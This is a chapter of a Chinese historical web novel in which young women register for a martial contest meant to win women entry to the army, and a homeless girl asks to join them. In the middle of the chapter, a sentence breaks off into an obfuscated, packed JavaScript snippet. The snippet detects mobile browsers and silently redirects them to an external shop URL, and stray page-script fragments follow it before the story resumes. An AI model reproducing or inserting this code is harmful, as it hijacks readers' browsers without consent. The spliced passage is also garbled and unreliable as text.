文趣网 > 其他小说 > 遇良缘:携夫君封侯 > 61. 并非一人
    “女子与男子比试,难免有身体碰触,比试场上,各种情况都有可能发生,甚至发生意外,可能还会触碰到某些不可说之处。如今世道,看重女子清名。如果比试赢了,还有从军一条道可以走。可若是输了,她们该如何面对家人的指责,旁人的闲言?这是一个没有归路和后路的选择。”

    “可是,这是你好不容易等来的机会。”苏芷蘅心里闷闷的,她眸中掩饰的泪水,再也控制不住,“那你怎么办?你要怎么办?”

    沈京墨将人揽入怀中,温柔地擦拭着少女汹涌的眼泪。

    “这次机会错过了,还会有下一次。人生那么长,总还会有其他的契机。我不一样,我有退路。”

    沈京墨的眼中有失落,却无气馁。

    “我与她们不一样,有人说我闲话,我可以揍到不敢说为止。如果我家老头、朱兆和、公婆接受不了我,我可以离开京城,浪迹天涯当无名游侠。如果游侠也做不了,为世俗所不容,我可以归隐山林,自给自足。芷蘅,我不一样,我有保护自己的能力,也有生存下去的技能。不论身处任何地方,我都有活下去的本事,我可以任性,我有试错的资本。”

    “京墨姐姐,你不会是一个人,就算再少,也会有两个人。”

    苏芷蘅擦干净脸上的眼泪,拾起桌上的毛笔。

    报名册上,第一个是沈京墨,第二个是泠鸢,她要做第三个。

    一笔一划,坚定地在报名册上,写上了自己的名字。

    她吹了吹浸湿的纸张,“京墨姐姐,就让我来做今儿的第一个,给你开个张。”

    “小姐,你做什么?不行,不行,这不算数。快划掉。”

    书桃一脸震惊,自家小姐在做什么?她是相府千金,与外男接触都受限制,怎么能在众目睽睽之下与外男比武?

    这些都不提,她这娇弱的小身板,上去就被人踹下演武台了。

    书桃去抢毛笔,苏芷蘅紧紧拽住,“死丫头,管到小姐我的头上了,仔细你的皮。”

    “我的小姐哟,这不是闹着玩儿的,相爷和夫人知道了,你就完了。”

    “书桃,你从小跟着我,知道我的性子,我决定的事情,从不会妥协。”

    “小姐,这事儿跟其他事儿不一样,女子名节事大。这可是关乎一辈子的事情。”

    苏芷蘅闻言,眼里越发坚定执着,“我以前不知廉耻跟在三皇子身后转悠,还有什么名节可言?”

    书桃焦急不已,“李少夫人,快帮我劝劝小姐,这可万万使不得啊。”

    沈京墨将毛笔取过,苏芷蘅力气敌不过她,当即一下子扑在桌子上,将报名册紧紧压在了身下。

    “我不是义气用事,我是真想好了。我也跟她们不一样,我也有退路。我有圣旨,可以不成亲,我有钱,若是家里人容不下我,我就搬出府,若是京城容不下我,我可以去任何一座城池生活。我有退路,我也不一样。”

    苏芷蘅双手紧紧抓住桌沿,着急地眼泪直掉,“京墨姐姐,让我参加吧?我可能不顶用,若是人够了,我可以退出的,若是人不够,我可以凑数。”

    手指被一根根掰开,身子也被掰直,苏芷蘅带着哭腔,“京墨姐姐,不要,不要划掉,让我去,让我去。”

    “京墨姐姐,求求你,不要划掉,让我参加吧。我是一个久居闺阁的弱女子,我肩不能挑,手不能提,不依附家族和亲人,我连生存的本领都没有。我不够强壮,我力气很小,甚至我打不过任何人,上台就会被踢下去。

    我只是想告诉所有的女子,就算是这样不堪的我,注定是丢脸的结局,我也有站在擂台上一战的勇气,我有反抗的精神,她们有的比我更健壮,比我更勇武,我都敢去争取,只要她们不放弃自己,她们会做的比我更好。”

    苏芷蘅双手紧紧捂着报名册,“也许,我的力量连浮游都不如,我想去试试。哪怕能影响到一个人,哪怕是一个人,也是值得的。我们的坚持就是有意义的。”

    沈京墨将毛笔放到笔架上,向她伸出手,“欢迎你的加入。”

    苏芷蘅瞬间破涕为笑,扑进能够给她带来安全感的怀抱里,将一脸泪珠全蹭在了女子洁净的衣服上。

    “恭喜小姐,如今有了三人,再有两人,我们的队伍就成了。”

    泠鸢提着一个篮子走过来,“小姐,饿了吧,快来吃饭。忙着招人,都累瘦了。噔噔蹬~~~,看带了什么来?梨花白,我可一口没舍得偷喝呢。特意回将军府,从墙根底下挖出来的。”

    “六岁那年,从爹爹那儿偷来埋的那坛?”

    “可不是说呢,那会儿年岁小,瞎糊弄的,我还以为坏掉了,挖出来一闻,芬香扑鼻,一点没坏。”

    沈京墨一掌拍开酒坛上用来密封的油皮纸,一股浓郁的酒香瞬间弥漫开来。

    一口醇香的清酒入喉,沈京墨脸上带上了明亮的笑意。

    沾了岁月的东西,总是能给人带来内心里难以言喻的满足。

    “给。”

    苏芷蘅接过酒坛,咕咚咕咚灌了两大口,她吐着舌头,直呼“好辣,好辣。”

    她不胜酒力,脸上瞬间绯红一片。

    她将酒坛递给泠鸢,“有酒一起喝!从今以后,我们就是同伴了!”

    泠鸢会心一笑,爽快地接过酒坛,仰头痛饮。

    “不知我是否有幸,也能尝尝这酒的滋味?”

    众人转头平望,没有看见人。

    “看哪儿呢?”

    一道带着愤怒的女童稚音传来。

    几人视线下移,一个约莫十来岁的小女娃,只比桌子稍微高一些。

    泠鸢拎着酒坛子,打趣道:“小孩儿,我们这酒可不是白喝的。”

    “我知道,你们在招人比试。”

    “怎么,你也想加入我们?”

    “我就是来报名的。”

    小女孩儿抬头挺胸,双手叉腰,“你们别看我年纪小,一般大人我可不怕。”

    沈京墨觉着说话的音色有些熟悉,她上下打量着小女孩儿,走到人身后,抓着小孩儿的腰带,将人给提了起来。

    “你,你,你干什么?你不要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785549|206580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脸,大人欺负小孩儿!”初时,小女娃有些挣扎,后面见自己被端得稳稳当当,丝毫没有要被打的迹象,当即不再乱踢。

    “小娃,记得我吗?”

    “你是谁,我不认识你。你要做什么?我告诉你,我不怕你。别以为你年纪大,我,我打不过你,但是我不怕你。”

    女娃说话吞吞吐吐,她记忆力不错,这会儿认出了人来。

    这个人的银子,被她偷过。

    心道完蛋了,这回送上门来了。

    沈京墨将人放了下来,温声道:“跟我回府,管你吃喝。”

    这小孩儿身量极轻,上次她想带人回府,小孩儿跑得很快,她没来及追。

    “还能带个人吗?”小女娃眼角眉梢一喜,眸子里亮晶晶的。

    泠鸢叉腰骂道:“嘿,你个丫头,没脸没皮,打蛇随棍上,真给你脸了?”

    小女娃一直流浪,这会儿好像遇着了个落脚的地方,她当即下定决心,不管是什么去处,有总比没有强。

    根据她流浪多年的摸爬滚打,这几人是否有恶意,她还是能察觉出来的。

    她的直觉向来敏锐,不然小小年纪还带着个弟弟,他们也不能活下来。

    “我可以报名这个,我先凑数,如果人够了,再把我划掉,人不够,我顶上。我抗揍,万一运气好,赢了呢?”

    她在这里观察两天了,今日已经傍晚,明日若是凑不足五人,这场比试根本启动不了。

    但是只要有五人,不管结果如何,总不会比队伍都凑不满丢人。

    沈京墨见识过小女孩儿的身手,先前她追拿尚花费了不少功夫,这小孩儿跟个泥鳅一般,很是滑溜,“带谁?”

    “小虎子,我弟弟。他年纪很小,若是我不在,他活不了的。”

    “你带着他去恩荣伯府找管家,说是我让你们去的,管家会安排。”

    小女娃并没有走,伸手指了指桌子,认真道:“我想参加这个。”

    沈京墨摸了摸她的小脑袋,她还没有忘记初次见面时,小孩儿眼里透露出来的悲凉。

    “小丫头,这是一条不归路。”沈京墨蹲下来,与小孩儿平视,“也许,也是没有结果的路。”

    “我本无归处,我只知道这是一个机会。一个难得的机会。也许很多很多年,都不会再有的机会。”

    小女娃认真地看向沈京墨的眼睛,这个姐姐冷冷的,她却不怕。

    她见过了很多人,有些人看着和善,内心如蛇蝎。

    有些人看着凶狠,内心却是纯良的。

    这位姐姐看着冷冰冰,心却是热的。

    小女娃眼里迸发出来的光芒,远超了这个年岁小孩儿会拥有的透彻。

    “姐姐,大道理我不懂,我只知道,小男孩儿十岁可以从军,如果女孩子可以从军,我如今十一了,我也可以去从军,那样,我可以吃饱饭,我还能挣军饷,小虎子可以吃饱穿暖,运气好还可以读书。可我是女孩子,我是女孩子。如果不想沦落到那种不好的地方,除了小偷小摸,我什么都做不了。”